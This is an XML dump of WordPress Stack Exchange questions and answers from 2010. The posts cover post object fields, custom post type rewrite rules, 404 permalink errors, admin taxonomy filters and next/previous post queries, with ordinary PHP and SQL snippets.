  <row Id="3204" PostTypeId="2" ParentId="3203" CreationDate="2010-10-22T18:51:47.257" Score="3" ViewCount="" Body="&lt;p&gt;Post object is mostly queried row of &lt;code&gt;wp_posts&lt;/code&gt; database table with some extras. It is easy to dump content of one and see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)&#xA;      public 'ID' =&amp;gt; int&#xA;      public 'post_author' =&amp;gt; string&#xA;      public 'post_date' =&amp;gt; string&#xA;      public 'post_date_gmt' =&amp;gt; string&#xA;      public 'post_content' =&amp;gt; string&#xA;      public 'post_title' =&amp;gt; string&#xA;      public 'post_excerpt' =&amp;gt; string&#xA;      public 'post_status' =&amp;gt; string&#xA;      public 'comment_status' =&amp;gt; string&#xA;      public 'ping_status' =&amp;gt; string&#xA;      public 'post_password' =&amp;gt; string&#xA;      public 'post_name' =&amp;gt; string&#xA;      public 'to_ping' =&amp;gt; string&#xA;      public 'pinged' =&amp;gt; string&#xA;      public 'post_modified' =&amp;gt; string&#xA;      public 'post_modified_gmt' =&amp;gt; string&#xA;      public 'post_content_filtered' =&amp;gt; string&#xA;      public 'post_parent' =&amp;gt; int&#xA;      public 'guid' =&amp;gt; string&#xA;      public 'menu_order' =&amp;gt; int&#xA;      public 'post_type' =&amp;gt; string&#xA;      public 'post_mime_type' =&amp;gt; string&#xA;      public 'comment_count' =&amp;gt; string&#xA;      public 'filter' =&amp;gt; string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-22T18:51:47.257" CommentCount="2" />
  <row Id="3205" PostTypeId="2" ParentId="3203" CreationDate="2010-10-22T18:53:08.907" Score="1" ViewCount="" Body="&lt;p&gt;If you are referring to what you can access using &lt;code&gt;$post&lt;/code&gt; (retrieved using &lt;code&gt;var_dump&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID&lt;/li&gt;&#xA;&lt;li&gt;post_author&lt;/li&gt;&#xA;&lt;li&gt;post_date&lt;/li&gt;&#xA;&lt;li&gt;post_date_gmt&lt;/li&gt;&#xA;&lt;li&gt;post_content&lt;/li&gt;&#xA;&lt;li&gt;post_title&lt;/li&gt;&#xA;&lt;li&gt;post_excerpt&lt;/li&gt;&#xA;&lt;li&gt;post_status&lt;/li&gt;&#xA;&lt;li&gt;comment_status&lt;/li&gt;&#xA;&lt;li&gt;ping_status&lt;/li&gt;&#xA;&lt;li&gt;post_password&lt;/li&gt;&#xA;&lt;li&gt;post_name&lt;/li&gt;&#xA;&lt;li&gt;to_ping&lt;/li&gt;&#xA;&lt;li&gt;pinged&lt;/li&gt;&#xA;&lt;li&gt;post_modified&lt;/li&gt;&#xA;&lt;li&gt;post_modified_gmt&lt;/li&gt;&#xA;&lt;li&gt;post_content_filtered&lt;/li&gt;&#xA;&lt;li&gt;post_parent&lt;/li&gt;&#xA;&lt;li&gt;guid&lt;/li&gt;&#xA;&lt;li&gt;menu_order&lt;/li&gt;&#xA;&lt;li&gt;post_type&lt;/li&gt;&#xA;&lt;li&gt;post_mime_type&lt;/li&gt;&#xA;&lt;li&gt;comment_count&lt;/li&gt;&#xA;&lt;li&gt;ancestors&lt;/li&gt;&#xA;&lt;li&gt;filter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-10-22T18:53:08.907" />
  <row Id="3206" PostTypeId="1" AcceptedAnswerId="3218" CreationDate="2010-10-22T19:22:29.910" Score="1" ViewCount="1013" Body="&lt;p&gt;I'm using WordPress 3.0.1 and I have made custom post-type called &lt;code&gt;'dienasgramatas'&lt;/code&gt;. My plugin also makes custom rewrite rules for displaying all posts from this post type and even custom permalink structure to query posts with this post type coming from defined author, but I can't create rule for pagination:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the one that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_rules['dienasgramatas' . '/([^/]+)/?$'] = &#xA;  'index.php?post_type=dienasgramata&amp;amp;author_name=' . $wp_rewrite-&amp;gt;preg_index(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives this rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[dienasgramatas/([^/]+)/?$] =&amp;gt; index.php?post_type=dienasgramata&amp;amp;author_name=$matches[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_rules['dienasgramatas' . '/([^/]+)/page/?([0-9]{1,})/?$'] = &#xA;  'index.php?post_type=dienasgramata&amp;amp;author_name=' . $wp_rewrite-&amp;gt;preg_index(1). &#xA;  '&amp;amp;paged=' . $wp_rewrite-&amp;gt;preg_index(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs this (faulty) rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[dienasgramatas/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; &#xA;  index.php?dienasgramata=$matches[1]&amp;amp;paged=$matches[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;post_type&lt;/code&gt; is ignored and this rewrite rule does not work as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me why it's not working or how to make it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;filter for funcion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('generate_rewrite_rules', 'add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full function is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_rewrite_rules($wp_rewrite) {&#xA;&#xA;$new_rules['dienasgramatas' . '/([^/]+)/?$'] = 'index.php?post_type=dienasgramata&amp;amp;author_name=' . $wp_rewrite-&amp;gt;preg_index(1);&#xA;$new_rules['dienasgramatas' . '/([^/]+)/page/?([0-9]{1,})/?$'] = 'index.php?author_name=' . $wp_rewrite-&amp;gt;preg_index(1) . '&amp;amp;paged=' . $wp_rewrite-&amp;gt;preg_index(2) . '&amp;amp;post_type=dienasgramata';&#xA;&#xA;$wp_rewrite-&amp;gt;rules = array_merge($new_rules, $wp_rewrite-&amp;gt;rules);&#xA;return $wp_rewrite;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic need is that i want to go to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/dienasgramatas/admin/page/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get posts by 'admin' with post_type = 'dienasgramata' and second page (e.g. 10 post offset). Rewrite rule without page/2 works fine. Maybe it's a regex issue or query vars issue or how rewrite rules are assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;live site example:&#xA;&lt;code&gt;http://dev.fiicha.lv/jb/dienasgramatas/juris/&lt;/code&gt; - works ok&#xA;&lt;code&gt;http://dev.fiicha.lv/jb/dienasgramatas/juris/page/2/&lt;/code&gt; - does not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the bottom there are all rewrite rules and query vars&lt;/p&gt;&#xA;" OwnerUserId="1355" LastEditorUserId="1355" LastEditorDisplayName="" LastEditDate="2010-10-23T10:01:56.747" LastActivityDate="2010-10-23T20:54:08.553" Title="Custom Post Type Rewrite Rule for Author &amp; Paging?" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="3207" PostTypeId="1" AcceptedAnswerId="3249" CreationDate="2010-10-22T19:42:41.397" Score="1" ViewCount="176" Body="&lt;p&gt;Seems throughout the day my blog seems to show 404 page errors with no pattern. I have to manually change the permalinks from /blog/%scategory%/%postname%/ to default, then back to /blog/%scategory%/%postname%/ in order to fix the permalink issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been a problem for us for the past six months, and our site gets 10k views a day. While that is not a lot, it does give us a huge problem when at certain periods of the day we have a huge issue where none of our Posts work, yet Pages continue to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have extensive conversation on this issue at this post (http://stackoverflow.com/questions/3506130/wordpress-permalinks-not-staying) where I have narrowed a few things down, and at this point I believe the sCategory Permalink is the issue. I need help understanding what is causing this issue, and more importantly fixing this so it never happens again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2011-02-19T18:06:31.990" Title="404 Error Problems with sCategory Permalink plugin" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" />
  <row Id="3208" PostTypeId="1" AcceptedAnswerId="3287" CreationDate="2010-10-22T20:34:14.103" Score="0" ViewCount="126" Body="&lt;p&gt;I was wondering if there is a simple way to replicate my configurations for all the subsites once i have activated a network plugin without having to go thru each and configure it manually ?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrade a set or single network plugin(s) with the same configuration to all subsites&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-26T02:45:26.673" Title="Replicate network plugins without having to configure it for each subsite?" Tags="&lt;multisite&gt;&lt;3.0.1&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="3209" PostTypeId="2" ParentId="3104" CreationDate="2010-10-22T21:00:07.747" Score="0" ViewCount="" Body="&lt;p&gt;I just found this plugin that entirelly fits my needs while I modificating the NextGen so I tought I should post it here in case some one was looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-public-uploader/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nextgen-public-uploader/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this I can simple set the minimun access to subscribers and add a tag to a page and it will allow registered users to upload images to a pre-selected gallery.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-22T21:00:07.747" />
  <row Id="3210" PostTypeId="2" ParentId="1770" CreationDate="2010-10-22T22:51:40.233" Score="1" ViewCount="" Body="&lt;p&gt;Kelly, your page is still present in the trash bin within the page admin area. Remove it from there too and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-22T22:51:40.233" />
  <row Id="3211" PostTypeId="1" AcceptedAnswerId="3213" CreationDate="2010-10-23T01:25:49.180" Score="1" ViewCount="171" Body="&lt;p&gt;I changed a custom post_type to a different name. Now when I view a single page with the post_type I receive a 404 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I debug? Is there a WP log I can view the functions call?&lt;/p&gt;&#xA;" OwnerUserId="1353" LastActivityDate="2010-10-23T21:02:38.657" Title="I changed post_type and now I receive 404 errors" Tags="&lt;custom-post-types&gt;&lt;debug&gt;" AnswerCount="2" />
  <row Id="3212" PostTypeId="2" ParentId="469" CreationDate="2010-10-23T02:38:07.643" Score="1" ViewCount="" Body="&lt;p&gt;i was having problems all day with what seemed to be 404 misfirings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, i just finished chatting with a dreamhost tech support person who told me that a user account i have with them was hitting process memory resource limits (all processes) and that was what was causing strange, seemingly htaccess-related problems. i was getting intermittent 404 errors from an htaccess file that should not have been called at all! it was dreamhost with a haunted house server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apparently, the process killing robot that dreamhost uses will kill a web process in the middle and then for some reason, the (now zombie) apache actually tries to finish its job (doing its best to exit cleanly out of the unglamorous end to a subrequest is my best guess). it throws a 500 error into the main http log, but after doing so, it actually fires off the rewrite condition and rule that should never have been fired (using the standard file -f and directory -d htaccess file above) - and it doesn't write a new log entry! a new (invisible man) request then triggers the index file in the last line of the htaccess file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;beware the resource limits in dreamhost basic accounts! if you go over their limits, and you have htacess with mod_rewrite lines you will see strange things that are only fit for halloween night - invisible men, haunted 404s! undead processes! zombie apache! htaccess moving on its own! yikes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps you avoid some hours of pain.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-23T02:38:07.643" CommentCount="1" />
  <row Id="3213" PostTypeId="2" ParentId="3211" CreationDate="2010-10-23T03:53:22.503" Score="2" ViewCount="" Body="&lt;p&gt;Just try tu update permalinks.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-10-23T03:53:22.503" CommentCount="1" />
  <row Id="3214" PostTypeId="2" ParentId="3091" CreationDate="2010-10-23T04:22:35.333" Score="1" ViewCount="" Body="&lt;p&gt;I've set up YOURLS for and have been extremely pleased. With the wordpress plugin, it will automatically create a short url for you if there isn't one. And with the Admin of YOURLS you can create your own custom short url's to anything you want, granted it isn't in WP Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe you can set your own custom url at the post creation either, you would have to go into the YOURLS Admin to update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one I looked into was &lt;a href=&quot;http://wordpress.org/extend/plugins/short-url-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/short-url-plugin/&lt;/a&gt; but I wanted the more powerful backend that YOURLS provided; plus the post to twitter was a bonus.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-10-23T04:22:35.333" CommentCount="2" />
  <row Id="3215" PostTypeId="2" ParentId="578" CreationDate="2010-10-23T05:00:36.263" Score="9" ViewCount="" Body="&lt;p&gt;Just wanted to share an alternative implementation. I didn't have Mike's incredible tutorial when I was figuring this out, so my solution is a little different. Specifically, I'm going to simplify Mike's &lt;strong&gt;step #1&lt;/strong&gt; and &lt;em&gt;eliminate&lt;/em&gt; &lt;strong&gt;step #2&lt;/strong&gt; - the other steps are still applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Mike's tutorial, using &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; saves us some manual list-building, but requires some complicated conditional query modification (&lt;strong&gt;step #2&lt;/strong&gt;) to handle its use of ID instead of slug. Not to mention the difficulty of modifying that code to deal with other scenarios, like multiple taxonomy filters..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach is to simply not use the flawed &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; at all, but instead to build our own dropdown select lists from scratch. It's not that complicated, takes less than 30 lines of code, and doesn't require hooking &lt;code&gt;parse_query&lt;/code&gt; at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'restrict_manage_posts', 'my_restrict_manage_posts' );&#xA;function my_restrict_manage_posts() {&#xA;&#xA;    // only display these taxonomy filters on desired custom post_type listings&#xA;    global $typenow;&#xA;    if ($typenow == 'photos' || $typenow == 'videos') {&#xA;&#xA;        // create an array of taxonomy slugs you want to filter by - if you want to retrieve all taxonomies, could use get_taxonomies() to build the list&#xA;        $filters = array('plants', 'animals', 'insects');&#xA;&#xA;        foreach ($filters as $tax_slug) {&#xA;            // retrieve the taxonomy object&#xA;            $tax_obj = get_taxonomy($tax_slug);&#xA;            $tax_name = $tax_obj-&amp;gt;labels-&amp;gt;name;&#xA;            // retrieve array of term objects per taxonomy&#xA;            $terms = get_terms($tax_slug);&#xA;&#xA;            // output html for taxonomy dropdown filter&#xA;            echo &quot;&amp;lt;select name='$tax_slug' id='$tax_slug' class='postform'&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;option value=''&amp;gt;Show All $tax_name&amp;lt;/option&amp;gt;&quot;;&#xA;            foreach ($terms as $term) {&#xA;                // output each select option line, check against the last $_GET to show the current option selected&#xA;                echo '&amp;lt;option value='. $term-&amp;gt;slug, $_GET[$tax_slug] == $term-&amp;gt;slug ? ' selected=&quot;selected&quot;' : '','&amp;gt;' . $term-&amp;gt;name .' (' . $term-&amp;gt;count .')&amp;lt;/option&amp;gt;';&#xA;            }&#xA;            echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By simply plugging the desired taxonomies into the &lt;code&gt;$filters&lt;/code&gt; array, you can quickly output multiple taxonomy filters. They appear exactly the same as those in Mike's screenshots. Then you can follow through with &lt;strong&gt;step #3&lt;/strong&gt; and &lt;strong&gt;#4&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2010-10-23T07:10:58.787" LastActivityDate="2010-10-23T07:10:58.787" CommentCount="4" />
  <row Id="3216" PostTypeId="1" AcceptedAnswerId="3324" CreationDate="2010-10-23T09:14:48.697" Score="0" ViewCount="167" Body="&lt;p&gt;I have a custom post type, and in one of the custom meta-fields, I would like to present a drop-down list of the other (published) custom posts in order to link two custom posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I have a Film type, and some Films are screened as double features with other films. Currently, I just have a field for the other film's post ID, and my template manually handles the URL linking for that. But it would be much more user friendly to offer a drop-down list with titles of previously published Films.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-26T18:12:59.863" Title="Can I get an auto-populated dropdown list of other custom posts in a custom post edit page?" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="3217" PostTypeId="2" ParentId="3211" CreationDate="2010-10-23T09:30:32.377" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Christopher Altman:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long time, no talk!  Hope you and the folks at Matter are doing well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you say you changed the name of the post type, I assume you mean you did so within your theme's &lt;code&gt;functions.php&lt;/code&gt; file within your call to the &lt;code&gt;register_post_type()?&lt;/code&gt;  If so, did you also run a query in the &lt;code&gt;wp_posts&lt;/code&gt; table to update the &lt;code&gt;post_type&lt;/code&gt; field?  If not you need to run the following query assuming your database prefix is &lt;code&gt;'wp_'&lt;/code&gt; and replacing &lt;code&gt;'new-type'&lt;/code&gt; with &lt;code&gt;'old-type'&lt;/code&gt; as appropriate &lt;em&gt;(I'm assuming you are familiar with where and how to runn a SQL query?):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts SET post_type='new-type' WHERE post_type='old-type'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another situation is that you might be using the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Redirection&lt;/strong&gt;&lt;/a&gt; plugin? If so, try disabling it as it is known to cause these kind of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither of these if your situation, please give more specifics such as how you defined your custom post type (did you use a plugin) and what steps you took to change? Also show some of the URL paths that are failing.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-23T21:02:38.657" LastActivityDate="2010-10-23T21:02:38.657" CommentCount="2" />
  <row Id="3218" PostTypeId="2" ParentId="3206" CreationDate="2010-10-23T11:08:34.937" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@banesto&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the simple answer may be that you need your paged URL to be specified before your shorter URL, but since I didn't test it I'm not 100% sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I've always run into a lot of trouble with the &lt;code&gt;'generate_rewrite_rules'&lt;/code&gt; hook. I'm sure a better developer than me could make it work but for me it's been a lot cleaner to use the &lt;code&gt;add_rewrite_rule()&lt;/code&gt; function so that's how I show you have to make your URLs route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a plugin to do what you asked for &lt;em&gt;(the &lt;code&gt;register_post_type()&lt;/code&gt; call is only there to allow this plugin to work in my test install of WordPress; you can replace it with your own):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Dienasgramatas Urls&#xA;Version: 1.0&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com/&#xA;*/&#xA;&#xA;if (!class_exists('Dienasgramatas_Urls')) {&#xA;  class Dienasgramatas_Urls {&#xA;    static function init() {&#xA;      $post_type = 'dienasgramatas' ;&#xA;      register_post_type($post_type,&#xA;        array(&#xA;          'label'           =&amp;gt; 'Dienasgramatas',&#xA;          'public'          =&amp;gt; true,&#xA;          'show_ui'         =&amp;gt; true,&#xA;          'query_var'       =&amp;gt; 'dienasgramatas',&#xA;          'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'dienasgramatas'),&#xA;          'hierarchical'    =&amp;gt; false,&#xA;          'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;        )&#xA;      );&#xA;&#xA;      add_rewrite_rule(&quot;{$post_type}/([^/]+)/page/?([2-9][0-9]*)&quot;,&#xA;        &quot;index.php?post_type={$post_type}&amp;amp;author_name=\$matches[1]&amp;amp;paged=\$matches[2]&quot;, 'top');&#xA;&#xA;      add_rewrite_rule(&quot;{$post_type}/([^/]+)&quot;,&#xA;        &quot;index.php?post_type={$post_type}&amp;amp;author_name=\$matches[1]&quot;, 'top');&#xA;&#xA;    }&#xA;    static function on_load() {&#xA;      add_action('init',array(__CLASS__,'init'));&#xA;    }&#xA;    static function register_activation_hook() {&#xA;      self::init();&#xA;      flush_rewrite_rules(false); &#xA;    }&#xA;  }&#xA;  Dienasgramatas_Urls::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course whenever you add rewrite rules you need to flush the rewrite rules or they simply won't work. Ideally you don't want to flush rules for every page load so the standard way to do it is in a plugin's &lt;em&gt;activation&lt;/em&gt; hook. So I created a plugin for you but feel free to just use the &lt;code&gt;add_rewrite_rule()&lt;/code&gt; calls in your theme's &lt;code&gt;functions.php&lt;/code&gt; file and manually flushing your URLs by clicking &lt;em&gt;&quot;Save Changes&quot;&lt;/em&gt; in the &lt;em&gt;&quot;Settings &gt; Permalinks&quot;&lt;/em&gt; section of the admin console.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-23T20:54:08.553" LastActivityDate="2010-10-23T20:54:08.553" CommentCount="2" />
  <row Id="3219" PostTypeId="1" CreationDate="2010-10-23T15:31:59.877" Score="1" ViewCount="195" Body="&lt;p&gt;I'm new to wordpress. I'm having trouble with a query I wrote to fetch the previous and next posts. ( I check &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;&#xA;SELECT * FROM wp_posts WHERE post_date &amp;lt; ( SELECT post_date FROM wp_posts WHERE ID = {$id} ) LIMIT 1&#xA;UNION&#xA;SELECT * FROM wp_posts WHERE post_date &amp;gt; ( SELECT post_date FROM wp_posts WHERE ID =  {$id} ) LIMIT 1&#xA;&quot;;&#xA;&#xA;$wpdb-&amp;gt;query($sql);&#xA;&#xA;$arrPosts = $wpdb-&amp;gt;last_result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I only get one post in $arrPosts. ( I know there are more than two). What's going on?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2010-10-23T15:55:41.897" Title="trouble with query to fetch next and previous posts" Tags="&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="3220" PostTypeId="2" ParentId="3219" CreationDate="2010-10-23T15:55:41.897" Score="1" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arrPosts = $wpdb-&amp;gt;get_results($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, note that there also is an API to get these two. See in particular:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_next_post()&#xA;get_previous_post()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-23T15:55:41.897" CommentCount="4" />
  <row Id="3221" PostTypeId="1" AcceptedAnswerId="3232" CreationDate="2010-10-23T16:22:48.430" Score="2" ViewCount="440" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The question's original title was: &quot;Custom query: Show custom post types plus custom post type with post meta on blog homepage&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in need of help with a custom query. I have three custom post types: &lt;em&gt;&quot;News&quot;&lt;/em&gt;, &lt;em&gt;&quot;Events&quot;&lt;/em&gt;, &lt;em&gt;&quot;Stories&quot;&lt;/em&gt;. On the main blog page, only News and Events will show. The client can choose to mark a Story &lt;em&gt;as&lt;/em&gt; News using features of the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;Verve Meta Boxes&lt;/a&gt;. If a Stories post has a post meta key of &lt;code&gt;'mark-as-news'&lt;/code&gt; then the that post should display on the main blog page as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need help with writing is this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If Stories has post meta&#xA;  &lt;code&gt;'mark-as-news'&lt;/code&gt; then the main blog&#xA;  page will display custom post types&#xA;  News and Events, as well as Stories,&#xA;  in descending order.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone please assist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Perhaps a better way of wording this would be?:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Show custom post types News and&#xA;  Events, and if there is the key&#xA;  &lt;code&gt;'mark-as-news'&lt;/code&gt; for &lt;code&gt;post_meta&lt;/code&gt;, show&#xA;  Stories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1360" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-24T07:19:45.923" LastActivityDate="2010-10-24T08:57:05.340" Title="Conditionally Query Custom Post Types by Post Meta for Blog Home Page?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="3222" PostTypeId="1" CreationDate="2010-10-23T17:17:53.433" Score="1" ViewCount="271" Body="&lt;p&gt;I'm using wp as an engine to put blog features in an existing site. I have a place in the blog page where I load &lt;code&gt;wp-load.php&lt;/code&gt;. I want to get the next and previous posts, but when I load a post from from wpdb, both &lt;code&gt;get_next_post()&lt;/code&gt; and &lt;code&gt;get_previous_post()&lt;/code&gt; both return &lt;code&gt;NULL&lt;/code&gt;. What do I need to do to get those functions to return the proper values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($_GET['article_id']) &amp;amp;&amp;amp; is_numeric($_GET['article_id']) ) {&#xA;&#xA;    $id = $_GET['article_id'];&#xA;    $objPost = get_post($id);&#xA;&#xA;    new dBug(get_next_post());&#xA;    new dBug(get_previous_post());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dBug&lt;/code&gt; is a pretty-printing class. Currently it gives two &lt;code&gt;NULL&lt;/code&gt;s. I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($_GET['article_id']) &amp;amp;&amp;amp; is_numeric($_GET['article_id']) ) {&#xA;&#xA;    $id = $_GET['article_id'];&#xA;    $objPost = get_post($id);&#xA;    setup_postdata($objPost);&#xA;    new dBug(get_next_post());&#xA;    new dBug(get_previous_post());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;but no luck. Still &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="1359" LastEditorDisplayName="" LastEditDate="2010-11-01T03:04:18.510" LastActivityDate="2010-11-01T03:04:18.510" Title="Trouble with get_next_post() get_previous_post() returning null" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="2" />
